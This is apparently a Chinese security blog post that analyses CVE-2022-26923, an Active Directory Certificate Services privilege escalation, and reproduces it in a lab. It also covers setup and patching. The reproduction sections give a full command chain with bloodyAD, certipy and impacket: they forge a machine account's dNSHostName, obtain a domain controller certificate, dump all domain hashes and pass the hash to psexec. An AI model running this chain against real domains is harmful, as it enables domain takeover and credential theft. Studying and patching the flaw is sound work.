内网域渗透 | CVE-2022-26923 域提权漏洞分析与复现
发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370
0x00 前言 2022 年 5 月 10 日,微软发布补丁修复了一个 Active Directory 域权限提升漏洞CVE-2022–26923。在5月份和6月份左右的复现文章中,有一个重要的工具:certipy。在当时是版本3.0,但是现在此工具3.0已经被作者删除了,只有2.0和4.0版本,于是复现漏洞时会和之前有一些出入坑点,在这里总结一下。文章篇幅较长。 0x01 漏洞概述 此漏洞允许低权限用户在安装了 Active Directory 证书服务(AD CS)服务器角色的默认 Active Directory 环境中将权限提升到域管理员。 该漏洞是由于对用户属性的不正确获取,允许低权限用户在安装了Active Directory证书服务(AD CS)服务器角色的Active Directory环境中将权限提升至域管理员。这一漏洞最早由安全研究员Oliver Lyak在2021年12 月14 日通过 Zero Day Initiative 向微软报告,Microsoft 在 2022 年 5 月的安全更新中对其进行了修补。 0x02 漏洞范围 影响范围很广泛 Windows 8.1Windows 10 Version 1607, 1809,1909, 2004, 20H2, 21H1, 21H2Windows 11Windows Server 2008,2012,2016,2019,2022 0x03 环境搭建 实验机器:windows server 2012(DC)、kali2021(ATTACK)、windows10(域成员) 基础域环境搭建 1、更改静态ip和机器名称重启计算机 2、安装域服务,除了截图部分,其他都是默认下一步。 3、提升为域控 4、添加新林,随便写一个,输入完域还原密码后一路默认按下去会自动重启。 5、重启后登录账号即可。 ADCS证书安装 服务器管理器–>添加角色和功能向导–>勾选服务器角色–>Active Directory 证书服务 2、随后配置ADCS服务 3、勾选这两个,随后一路默认 4、配置成功 创建低权限AD用户 kali配置工具 所需两个重要工具:certipy & bloodyAD 配置certipy 此工具在6月还是3.0,现在只有4.0了 https://github.com/ly4k/Certipygit clone https://github.com/ly4k/Certipy.git cd Certipyproxychains python3 setup.py install #配置代理安装 配置bloodyAD https://github.com/CravateRouge/bloodyADgit clone https://github.com/CravateRouge/bloodyAD.git cd bloodyADproxychains pip3 install -r requirements.txt 0x04 漏洞分析 Active Directory 证书服务(ADCS)简介 对于此漏洞,可以将ADCS仅视为身份证明,类似于Kerberos 票证。如果不想深入了解可以这么理解然后直接跳过哈。 AD CS 是一个服务器角色,用作 Microsoft 的公钥基础结构 PKI 实施。正如预期的那样,它与 Active Directory 紧密集成并支持颁发证书,这些证书是 X.509 格式的数字签名电子文档,可用于加密、消息签名和/或身份验证。 我们都知道,在域环境下,存在着用户User和计算机Machine两个组。 同时,AD CS对User和Machine有这两种不一样的模板,即域用户可以注册User证书模板,域计算机可以注册Machine证书模板。两个证书模板都允许客户端身份验证。 User & Machine两者区别与特点 1、用户帐户具有用户主体名称 (UPN),而计算机帐户则没有。当我们根据User模板请求证书时,用户帐户的 UPN 将嵌入到证书中以进行识别。当我们使用证书进行身份验证时,KDC 会尝试将 UPN 从证书映射到用户。(用户模板信息命令:certutil -v -dstemplate user找出对应的flag值与MS文档对照一下即可。) 2、根据MS-ADTS(3.1.1.5.1.3) 唯一性约束,UPN必须是唯一的,不能有两个具有相同UPN的用户。 3、计算机账户是根据什么进行验证的?下图为计算机账户证书模板,是根据这个字段进行验证的。 4、根据MS-ADTS(3.1.1.5.1.3) 唯一性约束,它没有提到计算机帐户的dNSHostName属性必须是唯一的。看到这里估计就有童鞋明白了,如果我伪造一个计算机账户的dNSHostName属性的值为域控的值,是不是就相当于域控了?事实证明这就是漏洞关键点。 5、本质上,用户可以根据预定义的证书模板请求证书。这些模板指定最终证书的设置,例如它是否可以用于客户端身份验证、必须定义哪些属性、允许谁注册等等。 举例说明如何在 AD 中使用证书进行身份验证 1、使用Certipy请求证书并进行身份验证。环境搭建的时候我们创建了一个默认的低权限用户test/456.com。根据模板向 CA 请求证书User。然后,我们使用颁发的证书john.pfx对 KDC 进行身份验证。使用证书进行身份验证时,Certipy 将尝试请求 Kerberos TGT 并检索帐户的 NT 哈希。 certipy req -username test@jntm.ngm -password 456.com -ca jntm-DC2012-CA -target jntm.ngm -template Usercertipy auth -pfx test.pfx -debug 2、问题总结: 如果存在下图问题,说明本地时间和DC时间不同步,重启一下机器。 如果出现KDC无效,说明域控的ADCS服务没有起来,重启一下域控机器或者手动重启即可。 如果出现保存私钥,也是重启一下。 实验一:验证UPN的唯一性 我又新建了一个账户为hello/567.com,使用test/456.com登录这个域环境,更改UPN出现了一个**约束性错误(constraint violation)**。看来UPN确实是唯一的。 实验二:计算机账户根据DNSname进行CA验证 之前提到,计算机账户没有UPN,根据模板看是根据DNShostname进行验证。我们尝试创建一个新的机器帐户,请求一个证书,然后使用证书进行身份验证。 1、创建一个新的机器账户,由于bloodyAD.py创建的计算机账户没有DNShostname,我们使用impacket套装中的addcomputer.py来创建 impacket-addcomputer 'jntm.ngm/test:456.com' -method LDAPS -computer-name 'catest' -computer-pass '999.com' 再次使用ADexplorer.exe来查看,存在DNShostname这个字段 2、使用certipy请求证书,并且使用证书进行身份验证。 3、证书是用 DNS 主机名颁发的catest.jntm.ngm,如果我们查看计算机帐户catest$,我们可以注意到这个值是在dNSHostName属性中定义的。 4、如果尝试更改dnsHostName,我们不会遇到任何问题或违反约束,并且这个申请catest的计算机帐户名仍然是catetst$。 5、再次申请证书的时候,会不会改变呢?如果再次申请证书后,生成的是dddddddd.pfx,那么就说明CA确实是根据dnshostname进行的验证。这就证明了,计算机账户是根据dnshostname使用证书进行身份验证的。 0x05 漏洞复现--2012 通过上面的两个小实验,可以大概了解到了漏洞的关键点在于:计算机账户是根据dnshostname进行证书身份验证的,同时没有设置唯一性,通过伪造和具有写入dnshostname权限来写入域控权限的dnshostname伪造域控计算机账户,从而转储TGT与域控hash。 攻击机配置hosts文件 1、漏洞探测与盲打:假设我们通过某种漏洞拿下了一台域成员机器,并且获取到了这台域成员机器的明文密码,还有通过命令查看到了相关CA等信息,我这里省事,没有做域成员机器,直接在域控上看的。 certutil -config - -pingPS: Get-ChildItem Cert:LocalMachineRoot 2、配置hosts如图,分别为域控ip、域控机器名.域名、域名-域控机器名-CA、域名、域控机器名 测试证书生成与验证证书有效性 这个前面提到了,这里就直接省略。 创建机器账户到域 1、使用bloodyAD查看ms-DS-MachineAccountQuota属性,如果ms-DS-MachineAccountQuota>0就可以创建机器帐户。 python3 bloodyAD.py -d 'jntm.ngm' -u 'test' -p '456.com' --host '192.168.111.11' getObjectAttributes 'DC=jntm,DC=ngm' ms-DS-MachineAccountQuota 2、在LDAP中创建一个机器帐户 python3 bloodyAD.py -d 'jntm.ngm' -u 'test' -p '456.com' --host '192.168.111.11' addComputer testPC '789.com*' 更新机器帐户的DNS Host Name python3 bloodyAD.py -d 'jntm.ngm' -u 'test' -p '456.com' --host '192.168.111.11' setAttribute 'CN=testPC,CN=Computers,DC=jntm,DC=ngm' DNSHOSTName '["DC2012.jntm.ngm"]' 发现遇到了错误,我们使用ADexplorer.exe来连接域AD查看一下,ip输入域控ip,账号随意填写一个用户和密码即可。可以看到这里并没有dNSHostName这个属性。 尝试添加一个,显示**约束性冲突(constraint violation)**。 我们回到域控环境下,查看这个计算机账户的安全信息,可以看到是test用户创建并且DNS写入权限是空的,也就是说无法写入DNS值 我们将其勾选上,就能看到,再次执行之前修改DNS名称的命令并且查看属性,更改成功。 python3 bloodyAD.py -d 'yiyuan.ho' -u 'zhangsan' -p '123.com' --host '172.16.25.30' getObjectAttributes 'CN=zhangsanPC,CN=Computers,DC=yiyuan,DC=ho' DNSHostName 使用伪造的计算机账户生成DC的CA 使用此计算机账户进行证书申请,因为对于计算机账户,CA是看它的DNSname的值进行验证的,如果这个值就是域控的DNSname,那么CA就会认为这是域控,从而给它对应的域控权限,也就是拿到了域控的TGT。使用certipy进行申请CA,注意-username属性后跟的是计算机账户,也就是要加上$符号,并且在linux系统下需要转义;同时我们这里用到的是计算机账户模板(Machine),不再是(User)了。 certipy req -username testPC$@jntm.ngm -password 963.com -ca jntm-DC2012-CA -target jntm.ngm -template Machine -debugcertipy auth -pfx dc2012.pfx -debug 获取所有域中所有hash impacket-secretsdump 'jntm.ngm/dc2012$@jntm.ngm' -hashes :e339879db7dd5394da0d414ffdd1bbfe PTH获取域控 impacket-psexec -hashes :afffeba176210fad4628f0524bfe1942 jntm/administrator@192.168.111.11 0x06 漏洞复现--2016 可以看到windows2016使用bloodyAD新建的计算机账户,默认就是具有DNS写入权限的。之前的windows2012不知道为什么没有。 0x07 漏洞修复 1、根据我们的复现,大概的一个防御认知就是我们需要限制证书的注册,例如将MS-DS-Machine-Account-Quota的值改为0,这个值的含义是:允许用户在域中创建的计算机账户的数量。默认情况下这个值为10,刚才复现过程看到了。但是注意,这个并不能防御漏洞,因为攻击者虽然不能创建机器账户,但是可以破坏整个域。例如使用krbrelay这款工具:https://github.com/cube0x0/KrbRelay 2、安装微软官方发布的补丁。https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923 3、不要安装ADCS服务就行了,这个漏洞只在有ADCS的域环境中才有利用的可能,不过这个方法过于激进。。 0x08 References https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923 https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-fa8c53507ae1 https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4 https://cloud.tencent.com/developer/article/2019209 MS-ADTS 3.1.1.5.1.3 唯一性约束: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/3c154285-454c-4353-9a99-fb586e806944 文章来源:HACK技术沉淀营 黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担! 如侵权请私聊我们删文 END